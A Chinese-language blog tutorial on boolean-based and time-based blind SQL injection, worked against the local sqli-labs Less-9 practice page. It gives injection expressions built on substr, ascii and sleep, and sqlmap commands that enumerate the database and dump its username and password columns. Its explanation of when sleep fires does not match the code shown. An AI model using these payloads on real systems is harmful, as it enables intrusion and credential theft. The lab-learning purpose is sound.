基于布尔基于时间的sql盲注

在上一博客其实就已经讲到了 sql

但是上一节主要是有回显页面中会有很多提示的信息但是在实战中这些东西其实都不怎么存在的这里其实又分了两种情况

第一种是基于布尔第二种就是基于时间的盲注

这两种其实都比较简单先说基于布尔的吧

基于布尔的盲注：

其实这个很好理解页面只会返回 0或1 我们可以根据页面是否 404 就可以判断是否正确

然后我们可以利用的函数有 mid(striing,start,length) substr(string,start,length) left(string,length)

然后我们可以正确性来验证库的长度

基于布尔基于时间的sql盲注

然后可以用二分法来猜测库的名字表的名字字段的名字

然后可以找到最后的用户名还有密码基本上可以用

select length（database（））

select substr (database())

select ascii(substr(database(),1,1))

select ascii(substr(database(),1,1))>N

select ascii(substr(database(),1,1))<N

select ascii(substr(database(),1,1))=N

如果要是查找第二位就是第二位换成 2即可

基于时间的盲注则是页面 0 1 也不会返回

这个就是比较尴尬的一点我们也不知道我们是否注入成功了那么就可以用一个函数

sleep 用if 来判断

例如

if(ascii(substr(database(),1,1))=N,1,sleep(3))

这个语句的意思就是当数据库名第一个字母的ascii码等于115 执行一次 sleep 函数等待三秒

这个这个就和布尔型注入差不多人家是看页面返回 0 或 1 来判断是否注入成功

而基于时间的盲注就是根据等待的时间来判断

然后就是靠二分法一步一步的来猜或者用mysql 直接跑这个也是可以的

虽然可能跑的会非常慢

这里是查询数据库名字

py -2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1" --technique T --dbs --batch

基于布尔基于时间的sql盲注

查询表项

py -2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1" -D security --tables --batch

基于布尔基于时间的sql盲注

然后这里是查询字段

py -2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1" -D security -T users --columns --batch

基于布尔基于时间的sql盲注

然后就是查询

py -2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1" -D security -T users -C username,password --dump --batch

基于布尔基于时间的sql盲注